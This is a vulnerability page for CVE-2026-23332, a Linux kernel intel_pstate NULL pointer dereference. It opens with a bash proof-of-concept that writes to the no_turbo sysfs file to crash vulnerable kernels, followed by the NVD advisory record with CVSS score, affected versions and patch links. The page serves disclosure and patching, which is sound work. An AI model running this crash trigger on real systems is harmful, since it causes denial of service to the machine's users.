CVE-2026-23332

#!/bin/bash # PoC for CVE-2026-23332: Linux Kernel intel_pstate Crash # Description: Trigger NULL pointer dereference by disabling turbo on restricted CPUs. # Prerequisites: System must be booted with 'nosmt' or 'maxcpus' argument. echo "[+] Checking if system is vulnerable..." if [ -w /sys/devices/system/cpu/intel_pstate/no_turbo ]; then echo "[+] Attempting to write to no_turbo..." # This write operation triggers the crash in the vulnerable kernel echo 1 > /sys/devices/system/cpu/intel_pstate/no_turbo echo "[+] If the kernel is vulnerable, the system should have crashed by now." else echo "[-] Cannot write to no_turbo or file does not exist." fi

{"cve": {"id": "CVE-2026-23332", "sourceIdentifier": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "published": "2026-03-25T11:16:30.647", "lastModified": "2026-04-23T21:13:22.360", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "In the Linux kernel, the following vulnerability has been resolved:\n\ncpufreq: intel_pstate: Fix crash during turbo disable\n\nWhen the system is booted with kernel command line argument \"nosmt\" or\n\"maxcpus\" to limit the number of CPUs, disabling turbo via:\n\n echo 1 > /sys/devices/system/cpu/intel_pstate/no_turbo\n\nresults in a crash:\n\n PF: supervisor read access in kernel mode\n PF: error_code(0x0000) - not-present page\n PGD 0 P4D 0\n Oops: Oops: 0000 [#1] SMP PTI\n ...\n RIP: 0010:store_no_turbo+0x100/0x1f0\n ...\n\nThis occurs because for_each_possible_cpu() returns CPUs even if they\nare not online. For those CPUs, all_cpu_data[] will be NULL. Since\ncommit 973207ae3d7c (\"cpufreq: intel_pstate: Rearrange max frequency\nupdates handling code\"), all_cpu_data[] is dereferenced even for CPUs\nwhich are not online, causing the NULL pointer dereference.\n\nTo fix that, pass CPU number to intel_pstate_update_max_freq() and use\nall_cpu_data[] for those CPUs for which there is a valid cpufreq policy."}, {"lang": "es", "value": "En el kernel de Linux, la siguiente vulnerabilidad ha sido resuelta:\n\ncpufreq: intel_pstate: Soluciona un fallo durante la desactivación del turbo\n\nCuando el sistema se inicia con el argumento de línea de comandos del kernel \"nosmt\" o \"maxcpus\" para limitar el número de CPUs, la desactivación del turbo a través de:\n\n echo 1 > /sys/devices/system/cpu/intel_pstate/no_turbo\n\nresulta en un fallo:\n\n PF: acceso de lectura de supervisor en modo kernel\n PF: error_code(0x0000) - página no presente\n PGD 0 P4D 0\n Oops: Oops: 0000 [#1] SMP PTI\n ...\n RIP: 0010:store_no_turbo+0x100/0x1f0\n ...\n\nEsto ocurre porque for_each_possible_cpu() devuelve CPUs incluso si no están en línea. Para esas CPUs, all_cpu_data[] será NULL. Desde el commit 973207ae3d7c ('cpufreq: intel_pstate: Reorganizar el código de manejo de actualizaciones de frecuencia máxima'), all_cpu_data[] es desreferenciado incluso para CPUs que no están en línea, causando la desreferencia del puntero NULL.\n\nPara solucionar eso, pasar el número de CPU a intel_pstate_update_max_freq() y usar all_cpu_data[] para aquellas CPUs para las cuales existe una política cpufreq válida."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H", "baseScore": 5.5, "baseSeverity": "MEDIUM", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.8, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-476"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "6.16.1", "versionEndExcluding": "6.18.17", "matchCriteriaId": "5B092616-17E9-4C58-A0D5-624A8FAE8D23"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "6.19", "versionEndExcluding": "6.19.7", "matchCriteriaId": "69245D10-0B71-485E-80C3-A64F077004D3"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:6.16:-:*:*:*:*:*:*", "matchCriteriaId": "6238B17D-C12B-458F-A138-97039BFC4595"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:7.0:rc1:*:*:*:*:*:*", "matchCriteriaId": "F253B622-8837-4245-BCE5-A7BF8FC76A16"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:7.0:rc2:*:*:*:*:*:*", "matchCriteriaId": "4AE85AD8-4641-4E7C-A2F4-305E2CD9EE64"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:7.0:rc3:*:*:*:*:*:*", "matchCriteriaId": "F666C8D8-6538-46D4-B318-87610DE64C34"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:7.0:rc4:*:*:*:*:*:*", "matchCriteriaId": "02259FDA-961B-47BC-AE7F-93D7EC6E90C2"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:7.0:rc5:*:*:*:*:*:*", "matchCriteriaId": "58A9FEFF-C040-420D-8F0A-BFDAAA1DF258"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:7.0:rc6:*:*:*:*:*:*", "matchCriteriaId": "1D2315C0-D46F-4F85-9754-F9E5E11374A6"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:7.0:rc7:*:*:*:*:*:*", "matchCriteriaId": "512EE3A8-A590-4501-9A94-5D4B268D6138"}]}]}], "references": [{"url": "https://git.kernel.org/stable/c/6b050482ec40569429d963ac52afa878691b04c9", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}, {"url": "https://git.kernel.org/stable/c/a1850e2aef4d15405e7ff53fd51c4b3124d46182", "sour ... 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